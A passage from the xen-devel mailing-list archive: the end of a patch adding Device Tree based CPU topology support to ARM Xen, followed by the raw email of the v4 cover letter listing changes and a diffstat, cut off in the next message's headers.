+        ret = parse_cluster(c, package_id, invalid_topo_id, 0);
+        if ( ret != 0 )
+            return ret;
+
+        package_id++;
+    } while ( true );
+
+    if ( !has_socket )
+        ret = parse_cluster(socket, 0, invalid_topo_id, 0);
+
+    return ret;
+}
+
+/*
+ * Generate cpu topology information when cpu-map node doesn't exist.
+ * It assumes that the cpu doesn't have SMT and all CPUs on a NUMA
+ * node belong to the same socket.
+ */
+static void __init fixup_topology(void)
+{
+    unsigned int cpu;
+    unsigned int clid = 0;
+    unsigned int pkgid = 0;
+
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_map *map = &cpu_map[cpu];
+
+        map->package_id = cpu_to_node(cpu);
+        if ( map->package_id != pkgid )
+        {
+            pkgid = map->package_id;
+            clid = 0;
+        }
+        map->cluster_id = clid++;
+        map->core_id = 0;
+        map->thread_id = 0;
+    }
+}
+
+int __init parse_dt_topology(void)
+{
+    const struct dt_device_node *cpus;
+    const struct dt_device_node *map;
+
+    cpus = dt_find_node_by_path("/cpus");
+    if ( !cpus )
+    {
+        printk(XENLOG_ERR "ERROR: No CPU information found in DT\n");
+        return -EINVAL;
+    }
+
+    map = dt_find_child_node_by_name(cpus, "cpu-map");
+    if ( !map )
+        return -ENOENT;
+
+    return parse_socket(map);
+}
+
+void __init dt_init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    BUG_ON(!acpi_disabled);
+    BUG_ON(!cpu_topology);
+
+    if ( parse_dt_topology() )
+        fixup_topology();
+
+    for_each_possible_cpu(cpu)
+        setup_siblings_masks(cpu);
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/drivers/acpi/Kconfig b/xen/drivers/acpi/Kconfig
index e3f3d8f4b1..5277b7bf83 100644
--- a/xen/drivers/acpi/Kconfig
+++ b/xen/drivers/acpi/Kconfig
@@ -8,3 +8,6 @@ config ACPI_LEGACY_TABLES_LOOKUP
 config ACPI_NUMA
 	bool
 	select NUMA
+
+config ACPI_CPU_TOPOLOGY
+	bool
diff --git a/xen/drivers/acpi/Makefile b/xen/drivers/acpi/Makefile
index 477408afbe..bcdb1b5e1b 100644
--- a/xen/drivers/acpi/Makefile
+++ b/xen/drivers/acpi/Makefile
@@ -10,3 +10,4 @@ obj-$(CONFIG_PM_OP) += pm-op.o
 
 obj-$(CONFIG_X86) += hwregs.o
 obj-$(CONFIG_X86) += reboot.o
+obj-$(CONFIG_ACPI_CPU_TOPOLOGY) += topology.init.o
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
new file mode 100644
index 0000000000..6bd2d96ebb
--- /dev/null
+++ b/xen/drivers/acpi/topology.c
@@ -0,0 +1,38 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/init.h>
+
+/*
+ * TODO: Populate the topology information by scanning the ACPI
+ *       PPTT (Processor Properties Topology Table).
+ */
+void __init acpi_init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    /*
+     * Generate temporary cpu topology information for now.
+     * It assumes that the cpu doesn't have SMT and all CPUs
+     * belong to the same socket.
+     */
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        cpumask_set_cpu(cpu, topo->thread_sibling);
+        cpumask_copy(topo->core_sibling, &cpu_possible_map);
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index 2fdf38cf74..d531c76370 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -101,6 +101,8 @@ void acpi_table_print (struct acpi_table_header *header, unsigned long phys_addr
 void acpi_table_print_madt_entry (struct acpi_subtable_header *madt);
 void acpi_table_print_srat_entry (struct acpi_subtable_header *srat);
 
+void acpi_init_cpu_topology(void);
+
 /* the following four functions are architecture-dependent */
 void acpi_numa_slit_init (struct acpi_table_slit *slit);
 void acpi_numa_processor_affinity_init(const struct acpi_srat_cpu_affinity *);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
new file mode 100644
index 0000000000..f64820febf
--- /dev/null
+++ b/xen/include/xen/cpu-topology.h
@@ -0,0 +1,35 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_CPU_TOPOLOGY_H
+#define XEN_CPU_TOPOLOGY_H
+
+#include <xen/cpumask.h>
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
+struct cpu_topology {
+    cpumask_var_t thread_sibling;
+    cpumask_var_t core_sibling;
+    cpumask_var_t cluster_sibling;
+};
+
+extern struct cpu_topology *cpu_topology;
+void init_cpu_topology(void);
+
+#else /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+#define cpu_topology ((struct cpu_topology *)NULL)
+static inline void init_cpu_topology(void) {}
+
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+#endif /* XEN_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/dt-cpu-topology.h b/xen/include/xen/dt-cpu-topology.h
new file mode 100644
index 0000000000..cb8a266479
--- /dev/null
+++ b/xen/include/xen/dt-cpu-topology.h
@@ -0,0 +1,29 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_DT_CPU_TOPOLOGY_H
+#define XEN_DT_CPU_TOPOLOGY_H
+
+struct dt_device_node;
+
+#ifdef CONFIG_DT_CPU_TOPOLOGY
+
+void map_cpu_to_dt_node(unsigned int cpu, struct dt_device_node *cpu_node);
+void dt_init_cpu_topology(void);
+
+#else /* CONFIG_DT_CPU_TOPOLOGY */
+
+static inline void map_cpu_to_dt_node(unsigned int cpu,
+                                      struct dt_device_node *cpu_node) {}
+
+#endif /* CONFIG_DT_CPU_TOPOLOGY */
+
+#endif /* XEN_DT_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 09:16:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 09:16:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353027.1609209 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfa05-0004CX-MC; Fri, 03 Jul 2026 09:15:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353027.1609209; Fri, 03 Jul 2026 09:15:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfa05-0004CQ-Ik; Fri, 03 Jul 2026 09:15:57 +0000
Received: by outflank-mailman (input) for mailman id 1353027;
 Fri, 03 Jul 2026 09:15:56 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wfa03-0004Bu-00
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 09:15:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfa02-00GN2P-5L
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 11:15:54 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a477dc6-2eae-0a2a0a5409dd-0a2a450ace40-4
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:15:53 +0200
Received: from [52.101.125.115]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a477dc6-e40e-0a2a450a0019-34657d733221-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:15:52 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY3P286MB3731.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:3d3::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Fri, 3 Jul
 2026 09:15:47 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.009; Fri, 3 Jul 2026
 09:15:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Jyh2PoPDSRqn2koWS9MUd/eyGUS008vJmldeA0cV4rSNuJ0rnyMStDBLFmbpdWeoP9rmBfuK7OUgj08g88Q0VV6kExlZrHPjnIpE6Ir/vBI1Cs2CHEGWuzf+3pyG66TEbmRWp9vlLzcuQeq3LYciGQoj9EJjbwW7Fdn3l8L84WyOYsaqAu4YUBV7jOyH15zqoVTEmRtFlBpOU+bCxb8BRBFZ7eQgBXGYvrdjWOCkZx26SQrcqMMEFRdVb8XUChJB+CVYL9KzaoCZFUxbxv6SStlvdfhA9sjsFOYKoBFniJFAOZ69QElTR85rsiUvKZJIXSKHVqnRneudrVH68FGMUg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=7lJiE4pPeY5QvYLhZ/xDXbCkrelaciRSvhG3kRNYSjE=;
 b=r3MXN5dD/eXYTSnKVhUteth0CJMfWlL/y4yl1kxBmVh0+y2R1RAOGu60y+NZUp0C7EhdMUfqDMIPEp2e9uARLxhI0S/PAepUxRiaesebCQBp59+a7TT5ZG1GD3yeZwm6aGFDS1+U26BR15V9hm+CupzK5ChGAL3sSuk6ScvIIHtw5+QWZFkAe5nCMG6bHzEdcna/N8d3LM+9qKEiy2O6Q4KV7yk0la+lpsC0j4dqrT533g3zWgglbNk2tdB5csfRY+ZWOa7fh2bdt50Sqq5RB9CezP7rnrsPmOagMc8ioMqy/NfzLfJGZigBw6U7i5biyXy/H7DLrC44n3t1+hgqtA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=7lJiE4pPeY5QvYLhZ/xDXbCkrelaciRSvhG3kRNYSjE=;
 b=dHV9As1spRToGLO1FE2XskTH6a4cbrP4G7BiBql7o3wWbpHm3/F8mAtoTLyDIJr013CRS9BiPSzDZHrRnzd9AebeA1VnNv3ULzF2qcij4pFuxbpygh/YXS5YsQUpTwbDvehbpiwnAUAaRuzJvXgEgZH6d9WezfN4hbJ9q4HVKs8=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>
Subject: [PATCH v4 0/3] xen/arm: Device Tree based CPU topology support
Date: Fri,  3 Jul 2026 18:15:41 +0900
Message-ID: <20260703091544.183548-1-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4P301CA0062.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:36a::13) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY3P286MB3731:EE_
X-MS-Office365-Filtering-Correlation-Id: 962167c5-cf88-4311-a63e-08ded8e3ab43
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|376014|10070799003|3023799007|29003799003|25016099003|6133799003|56012099006|18002099003;
X-Microsoft-Antispam-Message-Info:
	2WbLpQmPlIcSdrY8e4iq/wk/8gF28J/g+1lyLD6WhKVXJJn/crzHozZbCiIcM0rYYPpU5GBoA293xNAxAsCB73EHwXv52vVSu+QtUP98o/Hpo1BvWpo/O5vCXAK0q1PinkXvNF3L9mED7iR5lPkACJO5oZDx4WWAXdkKt87H8JfeyQDBUnSeFA5jT6invQYGNuT6OkuSNvqiY6iF0epk8WoZw6BOfmw7tNutx42pBJeLyk3Yf4X9To46PnhZzk4lKBXL87koDzP0cIIZA1eIb9n5bywqep3XAo8kTNNCfTOOHS5FiXAhEi4MD/AwMHal+JvhaiKnnap6rKAMvx1DYcFKy4fSbe5Zu+i1Ves1lzNDaxFHm5ANX8IV1hdklbldfQG5LFVDM/Ze6nEVkTjYmfhS9+PxNQppl72ZGgGGVTOdEOgF5Cxmc6KiTKI1RuRYwX2SMbLdjBr+sXryLKJ8AqTEzxjmUv0hffRcQL1W4ZXpD9lytvmGlKHc/TWHaMJX7MrKIrCn3mGCCXnDJ6Nt5LgJQRI7frGdi3oFxqgh/789V6mhRjy4XtjDPgKej6qN3KQI+Sr/oT76OjteWlRzlVaiYzHzXLbB62uXNmwiC9l3nzYLkcV39B7UeIJxDnVxdXnpHHzTxgL5DMpesiuKokkMkESIsGqXZl64pcdX5wg=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(376014)(10070799003)(3023799007)(29003799003)(25016099003)(6133799003)(56012099006)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?yhG50z0vGq5AwkqtgbKBVfjbe00c4a1NVdxbXr88jk6d1qOOjIqgQ4r7jAoB?=
 =?us-ascii?Q?RxeLbSWdThkLybPQqx9ySgCPJHwvgIkpUcrF5+rkh7F48c7Bst30YRIZnSPm?=
 =?us-ascii?Q?9Tv52WKX81lsmiyyM3pBezbKStvg1U0rUA9g98QIjjHKqbtEzfPi8MwU4roc?=
 =?us-ascii?Q?KWxuBFbrcRcWD0ZXOf7mC4keDsJG1NH9rKP91F58G5LC1w4P9RH/W0jxfaGj?=
 =?us-ascii?Q?iymP8hgllkw/0VrgbnfXbl/xm8wm8IxbZyqiJxYpBGkWviys88pIMRwFGZi5?=
 =?us-ascii?Q?oDUwl0Vui3MHF/SQQ4V1SothLCnbL0k1KTVLuOn7j7mY5xya5GNspvVmQUgT?=
 =?us-ascii?Q?+Ob3vof5dd2JLTJAOXRhEq//UNcngz0r7ume2x8r8vnmxnYiQ4a0KRWbuq48?=
 =?us-ascii?Q?/7VH4doRW4mAexPeH9BICRQiIo8kchmgMghBzWKCslchSpUsmJTQmAvAVhh4?=
 =?us-ascii?Q?yo5CSYX7G3hXW97BMJg8a4ZVTw8X1Goyvy6w22bPWxv2vYXeYs/6MCmp44gE?=
 =?us-ascii?Q?gbrdwf1KqojPyEnu4sQkEPNRWtSY8HjgvUhCDIU3HaoMiV2P8wOgrYg9JxMF?=
 =?us-ascii?Q?7R4nmq/+4oZm/n5qV+dQfFxPKOzn7mu3UGvNZIA+Z/pplu0qll6jAqSpQc+M?=
 =?us-ascii?Q?DrSU8ry1l+Xq5QYvG5T20f1DComtdsO1roC8PtscuEJTQJ75s5oX5r9pj3pQ?=
 =?us-ascii?Q?mxBROrAjgGQQ8DC64j4prP02wQoykG0hQMsUB/I21xPZO7SuE2KftWC74hwo?=
 =?us-ascii?Q?jOjdIIIaIXz/voy/sn46M6PXOgJqOh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2PuR+29NGICU2?=
 =?us-ascii?Q?NqB0I+7FmB6le3WIMmzUJ/FpzoYCniVdvTrv7zUWaPBR0yWsU0hjnigKzbjm?=
 =?us-ascii?Q?a2xZqZUL3gBAmJqcgtm/RTUrEqFcJBkKEOegs8Q+TqjSeMMiXeap0mtxebD6?=
X-MS-Exchange-AntiSpam-MessageData-1: pTL2LVlnC+RiBw==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 962167c5-cf88-4311-a63e-08ded8e3ab43
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 03 Jul 2026 09:15:47.6919
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Edy9msFGwxJJTLewKSBCOus1dNBl1Zv4OKeiEK1Du6k7eaeqvgfj3jGDJIQy5g0Kld/fs6SzrKzvGsJdd4aD3A==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY3P286MB3731
X-purgate-ID: tlsNG-4011c0/1783070153-CF935DDE-51332E90/0/0
X-purgate-type: clean
X-purgate-size: 5768

Hello,

This patch series introduces Device-Tree based CPU topology support
for ARM Xen.

This version incorporates the feedback received from Jan on the v3
submission. The main focus of this update includes transitioning 
towards a generic Kconfig structure, untangling header dependencies
and various code cleanups.

Future Work:
 - Support for the "credit2_runqueue=cluster" option.
 - CPU topology support for RISC-V and PPC (once SMP support is available).
 - Topology information generation from the ACPI PPTT.

Changes in v4:
 - Only display the CPU topology configuration prompt in common/Kconfig
   if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
 - Move the definition of the global 'cpu_topology' pointer to
   common/cpu-topology.c.
 - Update the Makefile to explicitly build objects as .init.o when all
   functions and data within a file are annotated with __init/__initdata,
   ensuring their memory is reclaimed after system initialization.
 - Add an error log in the CPU-to-node mapping function for out-of-bounds
   cases.
 - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
 - Rename variables and functions to avoid ambiguous or misleading terms:
   - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructions.
   - Avoid 'node' where it could be confused with a NUMA node, explicitly
     renaming them to clarify they refer to a Device Tree node.
 - Move local variable declarations into the narrowest possible scope.
 - Replace the unsupported "%pOF" printk format specifier with "%s" and
   explicit node name retrieval.
 - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
   the header directly includes only what its definitions require.
 - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
   it with a forward declaration of 'struct dt_device_node'.
 - Use 'const' qualifiers for pointer declarations where the pointed-to
   structure is not modified.
 - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
   that arch-specific definitions of cpu_to_core() and cpu_to_socket()
   take precedence over the generic fallbacks.
 - Introduce inline initialization functions for cpu_sibling_mask and
   cpu_core_mask in cpu-topology.h, providing separate variants for both
   when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.

Changes in v3:
 - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the sparse
   map mismatch issue on ARM Xen has been split out into a separate patch.
 - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
 - Allow the system to keep running with a degraded fallback even if
   the topology table allocation fails.
 - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
   from RISC-V and PPC processor.h.
 - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
   Elimination (DCE) where possible.
 - Clean up the code to follow the Xen coding style. Please let me know
   if I missed any style nits!
 - Verify successful builds across x86, RISC-V, and PPC environments.

Changes in v2:
 - Generate topology information even when ACPI is enabled. Note that
   this is a temporary implementation and doesn't yet parse the PPTT
   (Processor Properties Topology Table).
 - Added support for cpu-map node in Device Tree that doesn't contain
   explicit cluster node definitions.

Changes in v1 from the previous series "Introduce Device Tree based NUMA
support for ARM Xen":

1. Optimized Memory Allocation:
   The series now allocates only the minimum required memory area to manage
   the essential data for the CPUs.

2. Flexible Device Tree Parsing:
   The parsing logic no longer depends on the definition order of the 'cpu'
   nodes and 'cpu-map' nodes in the Device Tree. They can now be read
   correctly even if their orders do not match.

3. CPU Hotplug Readiness:
   To support future CPU hotplug, the system assumes that inactive CPUs are
   also described in the Device Tree. Xen will pre-load and generate the
   topology information for these inactive CPUs during the boot phase so
   it stays available in memory.

Thank you,
Hirokazu Takahashi

Hirokazu Takahashi (3):
  xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
  xen/sched: Link CPU topology to scheduler
  xen/sched: Make cpu_nr_siblings() architecture-specific

 xen/arch/arm/Kconfig                   |   1 +
 xen/arch/arm/include/asm/processor.h   |   4 -
 xen/arch/arm/smpboot.c                 |  15 +-
 xen/arch/ppc/include/asm/processor.h   |   4 -
 xen/arch/riscv/include/asm/processor.h |   4 -
 xen/arch/x86/include/asm/processor.h   |   1 +
 xen/common/Kconfig                     |  18 ++
 xen/common/Makefile                    |   1 +
 xen/common/cpu-topology.c              |  62 ++++
 xen/common/device-tree/Makefile        |   1 +
 xen/common/device-tree/cpu-topology.c  | 406 +++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  21 +-
 xen/common/sysctl.c                    |   1 +
 xen/drivers/acpi/Kconfig               |   3 +
 xen/drivers/acpi/Makefile              |   1 +
 xen/drivers/acpi/topology.c            |  41 +++
 xen/include/xen/acpi.h                 |   2 +
 xen/include/xen/cpu-topology.h         |  83 +++++
 xen/include/xen/dt-cpu-topology.h      |  29 ++
 19 files changed, 662 insertions(+), 36 deletions(-)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 09:16:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 09:16:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353030.1609237 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfa08-0004pL-G4; Fri, 03 Jul 2026 09:16:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353030.1609237; Fri, 03 Jul 2026 09:16:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfa08-0004pD-CV; Fri, 03 Jul 2026 09:16:00 +0000
Received: by outflank-mailman (input) for mailman id 1353030;
 Fri, 03 Jul 2026 09:15:58 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wfa06-0004QW-Gu
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 09:15:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfa05-00GN2P-T4
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 11:15:57 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a477dc6-2eae-0a2a0a5409dd-0a2a450ace40-22
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:15:57 +0200
Received: from [52.101.125.115]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a477dc6-e40e-0a2a450a0019-34657d733221-6
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:15:57 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY3P286MB3731.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:3d3::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Fri, 3 Jul
 2026 09:15:52 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.009; Fri, 3 Jul 2026
 09:15:52 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=uULWK3Wp7UmAqolW0O87DbjhR/76XnHEmq8iiCnKPIqg+IQuQErTi+WLR4KqESCF+bzfbISpFDzpGQKxQcECrkbJaK2GDOgbXcxN4WHGyLgja/GaRNgmgOE/1uOrxEtgsQzC7Vy9GiuUGI7xJdKi+WLGyDm/2tsTRdiIDJaIdqIQVKK73M+ELsUfGhal06CjnOQSkOpja/RLMTLSmpgPWeZPlhY0aHENH2nrSoMgE75lu85B6PHjUpdESbpjxIJ4HsQg475Wu88x3c+A0gkOvahrX22et4ti1Baa2T8tiYs6CHa5Wevr0rbfKku4P5Z/VZ7YvoUexajQ+2QWn9y+kg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=cnhJk1GWwfTBQlXCmlfrD1hdxu7L/SP10nBbA09ZTac=;
 b=HyPVswMvWB7UuGHOlDzV7IzZLg4yHRpSjAGIOax7l8ipQDz+xgEg/5F4XM3U7BT04H8C05X5pkFa+i2T9/nhJnOUroKR0H+ZAkVhOTcK1MtnBEpnZP56mn7AOyOKlVvwU8nnuOelLDxiIX8GLmcb+fOPmzL8am59rucxG4jkgc1pL3mCRQO2NMOPwDt0d52AbifNr1GYJ0LmjoECwBr7O87TUxUa5iSVRCCy8v7Z4c0pILuBoa52ppF9S4jQ7lmL+sJbgoDY5b+tVO9CJQCXWEQO7rPolqRtJWCqD5ORKeFu7dsYZiFHdIOGk7SmYPP7qKJQ6WansCCOeaxjsN++ZA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
